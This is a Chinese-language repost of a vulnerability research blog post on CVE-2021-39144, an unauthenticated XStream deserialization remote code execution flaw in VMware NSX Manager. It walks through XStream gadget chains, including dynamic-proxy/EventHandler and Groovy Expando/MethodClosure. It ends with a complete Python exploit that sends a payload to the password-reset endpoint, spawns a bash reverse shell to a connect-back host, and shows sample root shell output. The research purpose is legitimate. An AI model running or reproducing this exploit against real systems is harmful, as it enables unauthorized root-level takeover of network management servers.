VMWare NSX Manager XStream远程代码执行漏洞 (CVE-2021-39144)

VMWare NSX Manager 容易受到预先验证的远程代码执行漏洞的攻击,在撰写本文时,由于EOL将不会被修补这已在VMSA-2022-0027中修补。以下博客是我和Steven Seeley之间的合作,他在此过程中为我提供了极大的帮助。

在我们开始介绍漏洞之前,让我们先了解一下XStream.

XStream是一组简洁易用的开源类库,用于将 Java 对象编组为 XML 或将 XML 解组为 Java 对象。它是 Java 对象和 XML 之间的双向转换器。

序列化:

<font face="Calibri">XStream XS = new XStream();<br>Person person = new Person();</font><br><font face="Calibri">person.setName("sinsinology");</font><br><br><font face="Calibri">System.out.println(XS.toXML(person));</font><br><font face="Calibri"><Person.Person></font><br>  <font face="Calibri"><Name>sinsinology</Name></font><br><font face="Calibri"></Person.Person></font>

反序列化:

<font face="Calibri">XStream XS = new XStream();<br>Person imported = (Person) XS.fromXML(</font><br>         <font face="Calibri">"<Person.Person>n" +</font><br>       <font face="Calibri">"  <Name>sinsinology</Name>n" +</font><br>       <font face="Calibri">"</Person.Person>n");</font><br><br><font face="Calibri">System.out.println(imported.getName()); // sinsinology</font>

XStream 使用 Java 反射将 Person 类型转换为 XML 和从 XML 转换。

XStream 也理解 Alias 的概念,这个值得记住

<font face="Calibri">XStream XS = new XStream();<br>XS.alias("srcincite", Person.class);</font><br><font face="Calibri">Person imported = (Person) XS.fromXML(</font><br>                <font face="Calibri">"<srcincite>n" +</font><br>                <font face="Calibri">"  <Name>mr_me</Name>n" +</font><br>                <font face="Calibri">"</srcincite>n");</font><br><br><font face="Calibri">System.out.println(imported.getName()); // mr_me</font>

除了 Person等用户定义的类型之外,还可以XStream开箱即用地识别核心 Java 类型。例如,可以 从 XMLXStream中读取 Map :

<font face="Calibri">String xml = ""</font><br>    <font face="Calibri">+ "<map>" </font><br>    <font face="Calibri">+ "  <element>" </font><br>    <font face="Calibri">+ "    <string>foo</string>" </font><br>    <font face="Calibri">+ "    <int>10</int>" </font><br>    <font face="Calibri">+ "  </element>" </font><br>    <font face="Calibri">+ "</map>";</font><br><font face="Calibri">XStream xStream = new XStream();</font><br><br><font face="Calibri">Map<String, Integer> map = (Map<String, Integer>) xStream.fromXML(xml); </font>

是什么让 XStream 

如果到目前为止您还没有注意到Person示例,XStream它有一个很棒的功能,那就是当它解组一个对象时,它不需要对象来实现Serializable接口。这是编组器和序列化器之间的核心区别之一。这极大地促进了注入攻击,增加了您可以利用的方法的数量,而XStream不仅仅是依赖于实现的类Serializable。

不过有一个问题。假设您想要解组以下有效负载:

<font face="Calibri">new ProcessBuilder().command("calc").start();</font>

您可以为其实例化ProcessBuilder并设置命令,但无法调用该start方法,因为在编组 XML 时,XStream只会调用构造函数并设置字段。因此,攻击者没有直接的方法来调用任意方法,除非它们是 setter。
 


动态代理

动态代理是Java中的一种设计模式,它为某个对象提供代理,代理对象控制对真实对象的访问。代理类主要负责为代理类(真实对象)预处理消息,过滤消息,然后将消息传递给代理类,最后返回处理后的消息。简而言之,代理类将通过调用被代理类并封装执行结果来完成调用。

通过代理访问目标对象非常强大,因为您可以将执行从不需要的方法调用重定向到目标方法调用,而无需修改任何代码。简而言之,代理是通过自己的设施(传递到真实方法)传递函数调用的前端或包装器——可能会添加一些功能。

动态代理的伟大之处在于它可以伪装成任何接口的实现,并将所有方法调用路由到单个处理程序,即invoke()方法

现在java中的代理可以分为静态和动态,但现在,我们只需要了解动态代理。为了开始在 Java 中使用动态代理,我们需要实现InvocationHandler接口。实现的类InvocationHandler将包含自定义代码,该代码将在代理对目标对象的调用之前进行预处理。

<font face="Calibri">package src.incite;</font><br><br><font face="Calibri">import java.lang.reflect.Proxy;</font><br><font face="Calibri">import java.util.HashMap;</font><br><font face="Calibri">import java.util.Map;</font><br><font face="Calibri">import java.lang.reflect.*;</font><br><br><font face="Calibri">class ProxyHandler implements InvocationHandler {</font><br>    <font face="Calibri">private Object obj;</font><br>    <font face="Calibri">public ProxyHandler(Object obj) {</font><br>        <font face="Calibri">this.obj = obj;</font><br>    <font face="Calibri">}</font><br>    <font face="Calibri">@Override</font><br>    <font face="Calibri">public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {</font><br>        <font face="Calibri">Object result = method.invoke(obj, args);</font><br>        <font face="Calibri">System.out.println(String.format("[PROXY] The %s method got invoked", method.getName() ));</font><br>        <font face="Calibri">return result;</font><br>    <font face="Calibri">}</font><br><font face="Calibri">}</font><br><br><font face="Calibri">public class Test {</font><br>    <font face="Calibri">public static void main(String[] args) throws Exception {</font><br>        <font face="Calibri">@SuppressWarnings("unchecked")</font><br>        <font face="Calibri">Map<String, Integer> colors = (Map<String, Integer>)Proxy.newProxyInstance(</font><br>                <font face="Calibri">Test.class.getClassLoader(),</font><br>                <font face="Calibri">new Class[] {Map.class},</font><br>                <font face="Calibri">new ProxyHandler(new HashMap<>())</font><br>        <font face="Calibri">);</font><br>        <font face="Calibri">colors.put("one", 1);</font><br>        <font face="Calibri">colors.put("two", 2);</font><br>        <font face="Calibri">colors.put("three", 3);</font><br>    <font face="Calibri">}</font><br><font face="Calibri">}</font>

输出…

<font face="Calibri">[PROXY] The put method got invoked<br>[PROXY] The put method got invoked</font><br><font face="Calibri">[PROXY] The put method got invoked</font>

让我们仔细看看invoke方法签名:

<font face="Calibri">invoke(Object proxy, Method method, Object[] args)</font>

三个重要的参数是:

proxy: 被代理的对象
method: 调用方法
args: 方法中的参数

查看我们的代理,您很快就会意识到我们正在进行预处理,而不是后处理,在这种情况下,这并不重要。我们只对执行我们的自定义代码感兴趣,但如果您有兴趣了解有关动态代理的更多信息,我强烈建议您查看有关动态代理的Baeldung帖子。
 


Java 事件处理程序

JDK 提供了一个常用的InvocationHandler称为java.beans.EventHandler. 当调用特定方法(甚至任何方法)时,可以实例化此类以调用另一个对象上定义的方法。

    <font face="Calibri">public static <T> T create(Class<T> listenerInterface,</font><br>         <font face="Calibri">Object target, String action)</font>

我们知道可以通过调用实例start上的方法来执行任意代码。ProcessBuilder现在我们可以使用EventHandler将任何接收方法调用请求重定向到任意方法(在本例start中为ProcessBuilder实例的方法)。不过,首先,我们需要找到一种数据类型,它将对我们的EventHandler.

幸运的是,Java 有一个名为Comparable. 近 10 年前, Alvaro发现,每当TreeSet创建 a 并且它的泛型设置为Comparable时,TreeSet构造函数将调用compareTo所有添加到TreeSet. 这样做的原因是因为一个TreeSet实例应该是一个有序的数据结构,并且为了保持顺序,必须进行比较。

既然您了解了TreeSetand Comparable,就可以通过编组 a 来实现自动代码执行,该 aTreeSet包含实现Comparable接口的对象,例如 a Stringor Integer。当TreeSet被解组和实例化时,Comparable会自动调用接口方法以对TreeSet.

<font face="Calibri">public final class String</font><br>    <font face="Calibri">implements java.io.Serializable, Comparable<String>, CharSequence {</font><br><br><font face="Calibri">public final class Integer extends Number implements Comparable<Integer> {</font>

下面的代码在我们到达toXML方法之前抛出一个异常:

<font face="Calibri">Set<Comparable> set = new TreeSet<Comparable>();<br>set.add("foo");</font><br><font face="Calibri">set.add(EventHandler.create(Comparable.class, new ProcessBuilder("gnome-calculator"), "start"));</font><br><font face="Calibri">String payload = xstream.toXML(set);</font><br><font face="Calibri">System.out.println(payload);</font><br><font face="Calibri">Exception in thread "main" java.lang.ClassCastException: java.lang.UNIXProcess cannot be cast to java.lang.Integer</font><br>    <font face="Calibri">at com.sun.proxy.$Proxy0.compareTo(Unknown Source)</font><br>    <font face="Calibri">at java.util.TreeMap.put(TreeMap.java:568)</font><br>    <font face="Calibri">at java.util.TreeSet.add(TreeSet.java:255)</font><br>    <font face="Calibri">at src.incite.Test.main(Test.java:45)</font>

但是,它本质上归结为以下有效负载:

<font face="Calibri"><sorted-set></font><br>    <font face="Calibri"><string>foo</string></font><br>    <font face="Calibri"><dynamic-proxy></font><br>        <font face="Calibri"><interface>java.lang.Comparable</interface></font><br>        <font face="Calibri"><handler class="java.beans.EventHandler"></font><br>            <font face="Calibri"><target class="java.lang.ProcessBuilder"></font><br>                <font face="Calibri"><command></font><br>                    <font face="Calibri"><string>gnome-calculator</string></font><br>                <font face="Calibri"></command></font><br>            <font face="Calibri"></target></font><br>            <font face="Calibri"><action>start</action></font><br>        <font face="Calibri"></handler></font><br>    <font face="Calibri"></dynamic-proxy></font><br><font face="Calibri"></sorted-set></font>

ATreeSet被实例化

它的成员被填充
将在每个成员上TreeSet调用方法compareTo
第二个成员是一个动态代理,它将所有方法调用委托给一个EventTarget
EventTargetof 类型ProcessBuilder被实例化,其命令字段设置为gnome-calculator
EventHandler将调用的start方法EventTarget
ProcessBuilder运行任意命令

除了动态代理还有什么?
我还决定分享另一个XStream任意代码执行实例,以便您更好地了解其他可能性。在为. XStream_ _XStream

2016 年,Jenkins 使用Groovy Expando 小工具被利用,该小工具包含 Groovys 的 CVE-2015-3253 向量MethodClosure。让我们仔细研究这个有效载荷并从那里开始。

<font face="Calibri">/**</font><br> <font face="Calibri">* Represents a method on an object using a closure which can be invoked</font><br> <font face="Calibri">* at any time</font><br> <font face="Calibri">* </font><br> <font face="Calibri">*/</font><br><font face="Calibri">public class MethodClosure extends Closure {</font><br><br>    <font face="Calibri">private String method;</font><br><br>    <font face="Calibri">public MethodClosure(Object owner , String method ) { // 1</font><br>        <font face="Calibri">super(owner); </font><br>        <font face="Calibri">this.method = method ;</font><br><br>        <font face="Calibri">final Class clazz = owner.getClass()==Class.class?(Class) owner:owner.getClass();</font><br><br>        <font face="Calibri">maximumNumberOfParameters = 0;</font><br>        <font face="Calibri">parameterTypes = new Class [0];</font><br><br>        <font face="Calibri">List<MetaMethod> methods = InvokerHelper.getMetaClass(clazz).respondsTo(owner, method);</font><br><br>        <font face="Calibri">for(MetaMethod m : methods) {</font><br>            <font face="Calibri">if (m.getParameterTypes().length > maximumNumberOfParameters) {</font><br>                <font face="Calibri">Class[] pt = m.getNativeParameterTypes();</font><br>                <font face="Calibri">maximumNumberOfParameters = pt.length;</font><br>                <font face="Calibri">parameterTypes = pt;</font><br>            <font face="Calibri">}</font><br>        <font face="Calibri">}</font><br>    <font face="Calibri">}</font><br><br>    <font face="Calibri">public String getMethod() {</font><br>        <font face="Calibri">return method;</font><br>    <font face="Calibri">}</font><br><br>    <font face="Calibri">protected Object doCall(Object arguments ) { </font><br>        <font face="Calibri">return InvokerHelper.invokeMethod(getOwner(), method, arguments); // 2</font><br>    <font face="Calibri">}</font><br><br>    <font face="Calibri">public Object getProperty(String property) {</font><br>        <font face="Calibri">if ("method".equals(property)) {</font><br>            <font face="Calibri">return getMethod();</font><br>        <font face="Calibri">} else  return super.getProperty(property);        </font><br>    <font face="Calibri">}</font><br><font face="Calibri">}</font>

查看类描述可以看到可以使用它来调用对象的方法,并且继承了Closure类。该doCall方法将直接使用反射调用我们的任意对象方法。我们只需要通过构造函数传入一个对象实例和方法名。让我们看一下父类(即Closure):

6368777f90065938.png
   <font face="Calibri">public V call() { // 3</font><br>        <font face="Calibri">final Object[] NOARGS = EMPTY_OBJECT_ARRAY;</font><br>        <font face="Calibri">return call(NOARGS);</font><br>    <font face="Calibri">}</font><br><br>    <font face="Calibri">@SuppressWarnings("unchecked")</font><br>    <font face="Calibri">public V call(Object... args) {</font><br>        <font face="Calibri">try {</font><br>            <font face="Calibri">return (V) getMetaClass().invokeMethod(this,"doCall",args); // 4</font><br>        <font face="Calibri">} catch (InvokerInvocationException e) {</font><br>            <font face="Calibri">ExceptionUtils.sneakyThrow(e.getCause());</font><br>            <font face="Calibri">return null; // unreachable statement</font><br>        <font face="Calibri">}  catch (Exception e) {</font><br>            <font face="Calibri">return (V) throwRuntimeException(e);</font><br>        <font face="Calibri">}</font><br>    <font face="Calibri">}</font>

类的doCall方法MethodClosure可以通过call父类的方法调用,为什么这么痛苦?好吧,如果您还记得doCallinMethodClosure具有protected访问修饰符,这意味着可以在类中以及从该类派生的类访问该方法。正如您在[3]中看到的,该call函数正在从实例调用[ 4 ]处doCall的方法。getMetaClass()MethodClosure

以下代码可以执行弹出计算器:

<font face="Calibri">MethodClosure methodClosure = new MethodClosure(new java.lang.ProcessBuilder("gnsome-calculator"), "start");<br>methodClosure.call(); // Clojure.call() --> getMetaClass().invokeMethod(this, "doCall",args);</font>

现在我们已经解释了所有这些,我们还有另一个问题要回答,那就是,我们如何调用该call方法XStream?由于无法在未编组的数据上直接调用方法,我们需要一个小工具链!
 


Groovy 扩展

Groovy 提供了一个类Expando,它继承自GroovyObject父类:

b0c173a282065938.png
<font face="Calibri">public interface GroovyObject {</font><br><br>    <font face="Calibri">/**</font><br>     <font face="Calibri">* Invokes the given method.</font><br>     <font face="Calibri">*</font><br>     <font face="Calibri">* @param name the name of the method to call</font><br>     <font face="Calibri">* @param args the arguments to use for the method call</font><br>     <font face="Calibri">* @return the result of invoking the method</font><br>     <font face="Calibri">*/</font><br>    <font face="Calibri">Object invokeMethod(String name, Object args);</font><br><br>    <font face="Calibri">/**</font><br>     <font face="Calibri">* Retrieves a property value.</font><br>     <font face="Calibri">*</font><br>     <font face="Calibri">* @param propertyName the name of the property of interest</font><br>     <font face="Calibri">* @return the given property</font><br>     <font face="Calibri">*/</font><br>    <font face="Calibri">Object getProperty(String propertyName);</font><br><br>    <font face="Calibri">/**</font><br>     <font face="Calibri">* Sets the given property to the new value.</font><br>     <font face="Calibri">*</font><br>     <font face="Calibri">* @param propertyName the name of the property of interest</font><br>     <font face="Calibri">* @param newValue     the new value for the property</font><br>     <font face="Calibri">*/</font><br>    <font face="Calibri">void setProperty(String propertyName, Object newValue);</font><br><br>    <font face="Calibri">/**</font><br>     <font face="Calibri">* Returns the metaclass for a given class.</font><br>     <font face="Calibri">*</font><br>     <font face="Calibri">* @return the metaClass of this instance</font><br>     <font face="Calibri">*/</font><br>    <font face="Calibri">MetaClass getMetaClass();</font><br><br>    <font face="Calibri">/**</font><br>     <font face="Calibri">* Allows the MetaClass to be replaced with a derived implementation.</font><br>     <font face="Calibri">*</font><br>     <font face="Calibri">* @param metaClass the new metaclass</font><br>     <font face="Calibri">*/</font><br>    <font face="Calibri">void setMetaClass(MetaClass metaClass);</font><br><font face="Calibri">}</font>

每个 Groovy 对象(在本例Expando中)都必须实现自己的、getProperty、setProperty和invokeMethod方法。getMetaClasssetMetaClass
 


为什么我们关心 Expando?

在 Expando类中,方法call被调用。这是 hashCode方法:

    <font face="Calibri">public int hashCode() {</font><br>        <font face="Calibri">Object method = getProperties().get("hashCode"); // 1</font><br>        <font face="Calibri">if (method != null && method instanceof Closure) {</font><br>            <font face="Calibri">// invoke overridden hashCode closure method</font><br>            <font face="Calibri">Closure closure = (Closure) method; // 2</font><br>            <font face="Calibri">closure.setDelegate(this);</font><br>            <font face="Calibri">Integer ret = (Integer) closure.call(); // 3</font><br>            <font face="Calibri">return ret.intValue();</font><br>        <font face="Calibri">} else {</font><br>            <font face="Calibri">return super.hashCode();</font><br>        <font face="Calibri">}</font>

处的代码将调用该属性hashCode并将其转换为[2]Closure处的类型,最后在[3]处调用它。现在的问题仍然存在,我们将如何自动调用我们的对象?在比较对象键时调用,我们可以创建一个将对象作为其成员之一放入,以便在解组过程中实例化时,将调用该方法。callhashCodeExpandohashCodeHashMapExpandohashMaphashCode

这里用到了Map数据结构的特点:

Map 是一种键值类型的数据结构,因此 Map 集不允许有重复的键。所以,每次在集合中添加一个键值对,它都会判断键是否相等,然后hashCode在判断是否相等时会调用键的方法。

实例化 HashMap 时,put会调用该方法来填充Map. 下面是实现put:

<font face="Calibri">public V put(K key, V value) {</font><br>    <font face="Calibri">if (key == null)</font><br>        <font face="Calibri">return putForNullKey(value);</font><br>    <font face="Calibri">int hash = hash(key.hashCode());  // 4</font><br>    <font face="Calibri">int i = indexFor(hash, table.length);</font><br>    <font face="Calibri">for (Entry<K,V> e = table[i]; e != null; e = e.next) {</font><br>        <font face="Calibri">Object k;</font><br>        <font face="Calibri">if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {</font><br>            <font face="Calibri">V oldValue = e.value;</font><br>            <font face="Calibri">e.value = value;</font><br>            <font face="Calibri">e.recordAccess(this);</font><br>            <font face="Calibri">return oldValue;</font><br>        <font face="Calibri">}</font><br>    <font face="Calibri">}</font><br><br>    <font face="Calibri">modCount++;</font><br>    <font face="Calibri">addEntry(hash, key, value, i);</font><br>    <font face="Calibri">return null;</font><br><font face="Calibri">}</font>

hashCode被调用,这意味着我们最终可以在对象重建时获得代码注入:

<font face="Calibri">MethodClosure methodClosure = new MethodClosure(new ProcessBuilder("gnome-calculator"), "start");<br>Expando maliciousPanda = new Expando();</font><br><font face="Calibri">maliciousPanda.setProperty("hashCode", methodClosure);</font><br><font face="Calibri">HashMap<Expando, Integer> mymap = new HashMap();</font><br><font face="Calibri">mymap.put(maliciousPanda, 123); // triggers gnome-calculator</font>

还值得一提的是,为了在 中为 Groovy 生成小工具MethodClosure,XStream您需要做一个小技巧:

<font face="Calibri">public class Main {</font><br>    <font face="Calibri">public static void main(String[] args) throws Exception {</font><br>        <font face="Calibri">Map map = new HashMap<Expando, Integer>();</font><br>        <font face="Calibri">Expando expando = new Expando();</font><br>        <font face="Calibri">MethodClosure methodClosure = new MethodClosure(new java.lang.ProcessBuilder(cmd), "start");</font><br>        <font face="Calibri">//To avoid throwing an exception, change the hashCode to another name for the time being. </font><br>        <font face="Calibri">expando.setProperty( "InciteTeam_hashCode" , methodClosure);</font><br><font face="Calibri">map.put(expando, 1337 );</font><br>        <font face="Calibri">//Serialize the object</font><br>        <font face="Calibri">XStream xs = new XStream();</font><br>        <font face="Calibri">String payload =  xs.toXML(map).replace("InciteTeam_hashCode", "hashCode");</font><br>        <font face="Calibri">return payload;  </font><br>    <font face="Calibri">}</font><br><font face="Calibri">}</font>

我们将属性设置为的原因InciteTeam_hashCode是因为实例的hashCode方法将查找该属性并在其可用时执行我们的小工具。如果不在我们自己的系统上执行小工具,我们就无法正确地将有效负载编组为 XML!通过做一个小技巧并将属性名称设置为并在编组后修改名称,可以防止异常并显示我们的有效负载。ExpandohashCodeInciteTeam_hashCode

这是生成的有效载荷:

<font face="Calibri"><map></font><br>  <font face="Calibri"><entry></font><br>    <font face="Calibri"><groovy.util.Expando></font><br>      <font face="Calibri"><expandoProperties></font><br>        <font face="Calibri"><entry></font><br>          <font face="Calibri"><string>hashCode</string></font><br>          <font face="Calibri"><org.codehaus.groovy.runtime.MethodClosure></font><br>            <font face="Calibri"><delegate class="java.lang.ProcessBuilder"></font><br>              <font face="Calibri"><command></font><br>                <font face="Calibri"><string>calc</string></font><br>              <font face="Calibri"></command></font><br>              <font face="Calibri"><redirectErrorStream>false</redirectErrorStream></font><br>            <font face="Calibri"></delegate></font><br>            <font face="Calibri"><owner class="java.lang.ProcessBuilder" reference="../delegate"/></font><br>            <font face="Calibri"><resolveStrategy>0</resolveStrategy></font><br>            <font face="Calibri"><directive>0</directive></font><br>            <font face="Calibri"><parameterTypes/></font><br>            <font face="Calibri"><maximumNumberOfParameters>0</maximumNumberOfParameters></font><br>            <font face="Calibri"><method>start</method></font><br>          <font face="Calibri"></org.codehaus.groovy.runtime.MethodClosure></font><br>        <font face="Calibri"></entry></font><br>      <font face="Calibri"></expandoProperties></font><br>    <font face="Calibri"></groovy.util.Expando></font><br>    <font face="Calibri"><int>1337</int></font><br>  <font face="Calibri"></entry></font><br><font face="Calibri"></map></font>

现在您已经对它的利用有了很好的了解XStream,让我们继续讨论 VMWare NSX Manager 的利用。
 


漏洞分析

在 XStream <=1.4.18中有一个不受信任数据的反序列化,并被跟踪为CVE-2021-39144. VMWare NSX Manager 使用该软件包xstream-1.4.18.jar,因此它容易受到此反序列化漏洞的影响。我们需要做的就是找到一个可从未经身份验证的上下文访问的端点来触发漏洞。

我找到了一个经过验证的案例,但在向 Steven 展示后,他在/home/secureall/secureall/sem/WEB-INF/spring/security-config.xml配置中找到了另一个位置。由于使用了isAnonymous.

    <font face="Calibri"><http auto-config="false" use-expressions="true" entry-point-ref="authenticationEntryPoint" create-session="stateless"></font><br>        <font face="Calibri"><csrf disabled="true" /></font><br>        <font face="Calibri"><!-- ... --></font><br>        <font face="Calibri"><intercept-url pattern="/api/2.0/services/usermgmt/password/**" access="isAnonymous()" /></font><br>        <font face="Calibri"><intercept-url pattern="/api/2.0/services/usermgmt/passwordhint/**" access="isAnonymous()" /></font><br>        <font face="Calibri"><!-- ... --></font><br>        <font face="Calibri"><custom-filter position="BASIC_AUTH_FILTER" ref="basicSSOAuthNFilter"/></font><br>        <font face="Calibri"><custom-filter position="PRE_AUTH_FILTER" ref="preAuthFilter"/></font><br>        <font face="Calibri"><custom-filter after="SECURITY_CONTEXT_FILTER" ref="jwtAuthFilter"/></font><br>        <font face="Calibri"><custom-filter before="BASIC_AUTH_FILTER" ref="unamePasswordAuthFilter"/></font><br>    <font face="Calibri"></http></font>

我们可以在类中看到一个 API 函数调用com.vmware.vshield.vsm.usermgmt.restcontroller.UserMgmtController:

    <font face="Calibri">@RequestMapping(value = { "/password/{userId}" }, method = { RequestMethod.PUT })</font><br>    <font face="Calibri">@ResponseStatus(HttpStatus.NO_CONTENT)</font><br>    <font face="Calibri">@CheckBlacklist(userId = "#userId", remoteAddress = "#request.getRemoteAddr")</font><br>    <font face="Calibri">public void resetPassword(@PathVariable("userId") String userId, @RequestBody final SecurityProfileDto securityProfileDto, final HttpServletRequest request) {</font><br>        <font face="Calibri">final JoinPoint jp = Factory.makeJP(UserMgmtController.ajc$tjp_13, this, this, new Object[] { userId, securityProfileDto, request });</font><br>        <font face="Calibri">resetPassword_aroundBody29$advice(this, userId, securityProfileDto, request, jp, RequestBodyValidatorAspect.aspectOf(), (ProceedingJoinPoint)jp);</font><br>    <font face="Calibri">}</font>

该resetPassword方法使用@RequestBodywithSecurityProfileDto类型,该类型将序列化程序设置为XStream使其成为利用的完美候选者:

<font face="Calibri">/*    */ @XStreamAlias("securityProfile")<br>/*    */ public class SecurityProfileDto</font>

攻击者可以使用动态代理发送特制的XStream编组有效负载,并在 root 的上下文中触发远程代码执行!
 


漏洞复现

<font face="Calibri">#!/usr/bin/env python3<br>"""</font><br><font face="Calibri">VMWare NSX Manager XStream Deserialization of Untrusted Data Remote Code Execution Vulnerability</font><br><font face="Calibri">Version: 6.4.13-19307994</font><br><font face="Calibri">File: VMware-NSX-Manager-6.4.13-19307994-disk1.vmdk</font><br><font face="Calibri">SHA1: f828eccd50d5f32500fb1f7a989d02bddf705c45</font><br><font face="Calibri">Found by: Sina Kheirkhah of MDSec and Steven Seeley of Source Incite</font><br><font face="Calibri">"""</font><br><br><font face="Calibri">import socket</font><br><font face="Calibri">import sys</font><br><font face="Calibri">import requests</font><br><font face="Calibri">from telnetlib import Telnet</font><br><font face="Calibri">from threading import Thread</font><br><font face="Calibri">from urllib3 import disable_warnings, exceptions</font><br><font face="Calibri">disable_warnings(exceptions.InsecureRequestWarning)</font><br><br><font face="Calibri">xstream = """</font><br><font face="Calibri"><sorted-set></font><br>    <font face="Calibri"><string>foo</string></font><br>    <font face="Calibri"><dynamic-proxy></font><br>        <font face="Calibri"><interface>java.lang.Comparable</interface></font><br>        <font face="Calibri"><handler class="java.beans.EventHandler"></font><br>            <font face="Calibri"><target class="java.lang.ProcessBuilder"></font><br>                <font face="Calibri"><command></font><br>                    <font face="Calibri"><string>bash</string></font><br>                    <font face="Calibri"><string>-c</string></font><br>                    <font face="Calibri"><string>bash -i >& /dev/tcp/{rhost}/{rport} 0>&1</string></font><br>                <font face="Calibri"></command></font><br>            <font face="Calibri"></target></font><br>            <font face="Calibri"><action>start</action></font><br>        <font face="Calibri"></handler></font><br>    <font face="Calibri"></dynamic-proxy></font><br><font face="Calibri"></sorted-set>"""</font><br><br><font face="Calibri">def handler(lp):</font><br>    <font face="Calibri">print(f"(+) starting handler on port {lp}")</font><br>    <font face="Calibri">t = Telnet()</font><br>    <font face="Calibri">s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)</font><br>    <font face="Calibri">s.bind(("0.0.0.0", lp))</font><br>    <font face="Calibri">s.listen(1)</font><br>    <font face="Calibri">conn, addr = s.accept()</font><br>    <font face="Calibri">print(f"(+) connection from {addr[0]}")</font><br>    <font face="Calibri">t.sock = conn</font><br>    <font face="Calibri">print("(+) pop thy shell!")</font><br>    <font face="Calibri">t.interact()</font><br><br><font face="Calibri">if __name__ == "__main__":</font><br>    <font face="Calibri">if len(sys.argv) != 3:</font><br>        <font face="Calibri">print(f"(+) usage: {sys.argv[0]} <target> <connectback:port>")</font><br>        <font face="Calibri">print(f"(+) eg: {sys.argv[0]} 192.168.18.135 172.18.182.204:1234")</font><br>        <font face="Calibri">sys.exit(1)</font><br>    <font face="Calibri">target = sys.argv[1]</font><br>    <font face="Calibri">rhost  = sys.argv[2]</font><br>    <font face="Calibri">rport  = 1234</font><br>    <font face="Calibri">if ":" in sys.argv[2]:</font><br>        <font face="Calibri">assert sys.argv[2].split(":")[1].isdigit(), "(-) didnt supply a valid port"</font><br>        <font face="Calibri">rport = int(sys.argv[2].split(":")[1])</font><br>        <font face="Calibri">rhost = sys.argv[2].split(":")[0]</font><br>    <font face="Calibri">handlerthr = Thread(target=handler, args=[rport])</font><br>    <font face="Calibri">handlerthr.start()</font><br>    <font face="Calibri"># trigger rce</font><br>    <font face="Calibri">requests.put(</font><br>        <font face="Calibri">f"https://{target}/api/2.0/services/usermgmt/password/1337", </font><br>        <font face="Calibri">data=xstream.format(rhost=rhost, rport=rport), </font><br>        <font face="Calibri">headers={</font><br>            <font face="Calibri">'Content-Type': 'application/xml'</font><br>        <font face="Calibri">}, </font><br>        <font face="Calibri">verify=False</font><br>    <font face="Calibri">)</font>

例子:

<font face="Calibri">researcher@neophyte:~$ ./poc.py<br>(+) usage: ./poc.py <target> <connectback:port></font><br><font face="Calibri">(+) eg: ./poc.py 192.168.18.135 172.18.182.204:1234</font><br><br><font face="Calibri">researcher@neophyte:~$ ./poc.py 192.168.18.135 172.18.182.204:1337</font><br><font face="Calibri">(+) starting handler on port 1337</font><br><font face="Calibri">(+) connection from 172.18.176.1</font><br><font face="Calibri">(+) pop thy shell!</font><br><font face="Calibri">bash: cannot set terminal process group (5847): Inappropriate ioctl for device</font><br><font face="Calibri">bash: no job control in this shell</font><br><font face="Calibri">bash-5.0# id</font><br><font face="Calibri">id</font><br><font face="Calibri">uid=0(root) gid=101(secureall) groups=101(secureall)</font>

转载请注明文章来处:稀饭资源网 原文链接地址https://www.xifanzyw.cn/

© 版权声明
THE END
喜欢就支持一下吧
点赞5赞赏 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容